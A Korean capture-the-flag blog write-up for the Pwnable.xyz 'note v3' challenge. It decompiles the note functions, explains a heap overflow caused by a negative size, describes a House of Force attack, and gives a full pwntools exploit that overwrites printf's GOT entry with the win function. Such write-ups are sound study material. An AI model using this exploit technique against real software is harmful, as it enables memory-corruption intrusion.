tmxklab
[Pwnable.xyz] note v3 본문
1. 문제
nc svc.pwnable.xyz 30041
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int make_note()
{
_QWORD *v0; // rax
signed int index; // [rsp+4h] [rbp-1Ch]
__int64 size; // [rsp+8h] [rbp-18h]
_QWORD *v4; // [rsp+10h] [rbp-10h]
void *buf; // [rsp+18h] [rbp-8h]
for ( index = 0; ; ++index )
{
if ( (unsigned int)index > 9 )
{
LODWORD(v0) = puts("Notebook full");
return (int)v0;
}
if ( !notes[index] )
break;
}
printf("Size: ");
size = readint();
v4 = malloc(size + 16);
buf = malloc(0x20uLL);
if ( !v4 || !buf )
{
puts("Error");
exit(1);
}
printf("Title: ");
read(0, buf, 0x20uLL);
v4[1] = buf;
printf("Note: ");
*(_DWORD *)v4 = read(0, v4 + 2, size);
v0 = notes;
notes[index] = v4;
return (int)v0;
}
- note에 대한 size와 title, note입력 값을 받아 notes전역변수에서 관리하는 것 같다. 이따가 디버깅을 통해 청크 구조를 확인해보자
3-2) edit_note()
int edit_note()
{
int result; // eax
_DWORD *v1; // rbx
unsigned __int64 index; // [rsp+8h] [rbp-18h]
printf("Note: ");
index = readint();
if ( index > 9 || !notes[index] )
return puts("Error");
printf("Data: ");
v1 = (_DWORD *)notes[index];
result = read(0, (void *)(notes[index] + 16LL), *(unsigned int *)notes[index]);
*v1 = result;
return result;
}
- index값이 9보다 크거나 note[index]에 값이 존재하지 않으면 리턴
- 이후에 note청크에 data를 편집하고 read함수의 리턴 값을 size값으로 변경하는 것 같다.
3-3) list_note()
__int64 list_notes()
{
__int64 result; // rax
__int64 v1; // rdx
int v2; // [rsp+4h] [rbp-Ch]
__int64 i; // [rsp+8h] [rbp-8h]
v2 = 0;
result = notes[0];
for ( i = notes[0]; i; i = notes[v1] )
{
printf("%s: %s\n", *(_QWORD *)(i + 8), i + 16);
v1 = ++v2;
result = notes[v1];
}
return result;
}
- notes전역변수에 존재하는 note와 title을 전부 출력하는 것 같다.
2. 접근방법
1) 청크 구조 확인
notes(0x6012a0) : note_info chunk addr(size : dynamic)
note_info[0] : size
note_info[1] : title_chunk addr(size : static)
note_info[2] : note, size값 만큼 입력받을 수 있음
2) make_note() → readint()
make_note()에서 청크를 생성하는데 이 때 malloc의 크기를 readint()로 조절할 수 있다.
printf("Size: ");
nbytes = readint();
v4 = malloc(nbytes + 16);
만약에 사이즈 값을 -1로 준다면 malloc에서는 16을 더하므로 성공적으로 메모리 할당이 가능하지만
printf("Note: ");
*(_DWORD *)v4 = read(0, v4 + 2, nbytes);
nbytes에는 -1(0xffff ffff ffff ffff)이므로 청크의 크기보다 더 큰 값을 입력받을 수 있다. → heap overflow
- read()에서 사이즈의 인자 값으로 0xffff ffff ffff ffff이 들어간 것을 확인
heap overflow로 인하여 Top Chunk의 값을 변경 가능하다. → house of force
참고 :
[할당 받기 원하는 주소] - [ Chunk Header size(0x10 or 0x8) ] - [ Top Chunk Address ] - [ Chunk Header size(0x10 or 0x8) ]
저렇게 계산해서 나온 값에 malloc하면 원하는 주소에 청크 할당이 가능하고 값을 쓸 수 있다.
공격 프로세스)
- Top chunk의 주소를 알아야 하므로 Top chunk addr을 릭한다.
- 위 공식을 이용하여 notes전역변수에 청크를 할당한다.
- edit를 통해서 notes에 있는 printf@got에 win함수를 넣는다.
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30041)
e = ELF("./challenge")
#gdb.attach(p)
win_addr = e.symbols['win']
printf_got = e.got['printf']
notes = 0x6012a0
def make(size, title, note):
p.sendlineafter("> ", str(1))
p.sendlineafter(": ", str(size))
p.sendafter(": ", title)
p.sendafter(": ", note)
def edit(idx, note):
p.sendlineafter("> ", str(2))
p.sendlineafter(": ", str(idx))
p.sendafter(": ", note)
# 1. heap addr leak
p.sendlineafter("> ", str(1))
p.sendlineafter(": ", str(-1))
p.sendafter(": ", "A")
make(10, "A", "B")
edit(0, "A"*0x46+"Z"*2)
p.sendlineafter("> ", str(3))
p.recvuntil("ZZ")
p.recvuntil("ZZ")
heap = u64(p.recvuntil("\n")[:-1].ljust(8, '\x00'))
top_chunk = heap + 0x20
size = notes - 0x20 - top_chunk - 0x8
log.info("top chunk : "+hex(top_chunk))
log.info("size : "+hex(size))
edit(1, "A"*0x48 + p64(0xffffffffffffffff))
# 2. notes[3] -> puts@got + 0x8
p.sendlineafter("> ", str(1))
p.sendlineafter(": ", str(size))
p.sendafter(": ", "A"*0x18+p64(printf_got-0x10))
# 3. got overwrite
edit(3, p64(win_addr))
p.interactive()
2) 실행결과
처음에 puts를 가지고 got overwrite를 진행했는데 win()에서 세그먼테이션 폴트 에러뜨면서 종료되어서 printf로 got overwrite를 하니깐 성공했다.
에러 발생한 부분
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] knum (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] PvE (0) | 2020.09.09 |
[Pwnable.xyz] door (0) | 2020.09.09 |
[Pwnable.xyz] child (0) | 2020.09.09 |
[Pwnable.xyz] car shop (0) | 2020.09.09 |